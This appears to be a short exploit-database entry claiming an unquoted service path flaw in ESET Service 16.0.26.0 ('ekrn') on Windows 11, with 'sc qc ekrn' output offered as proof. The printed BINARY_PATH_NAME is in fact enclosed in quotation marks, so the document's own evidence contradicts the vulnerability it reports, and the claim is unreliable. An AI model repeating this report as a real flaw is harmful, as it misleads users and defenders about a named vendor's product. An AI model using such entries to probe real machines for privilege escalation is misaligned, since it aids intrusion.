# Exploit Title: ESET Service 16.0.26.0 - 'Service ekrn' Unquoted Service Path # Exploit Author: Milad Karimi (Ex3ptionaL) # Exploit Date: 2023-04-05 # Vendor : https://www.eset.com # Version : 16.0.26.0 # Tested on OS: Microsoft Windows 11 pro x64 #PoC : ============== C:\>sc qc ekrn [SC] QueryServiceConfig SUCCESS SERVICE_NAME: ekrn TYPE : 20 WIN32_SHARE_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\Program Files\ESET\ESET Security\ekrn.exe" LOAD_ORDER_GROUP : Base TAG : 0 DISPLAY_NAME : ESET Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem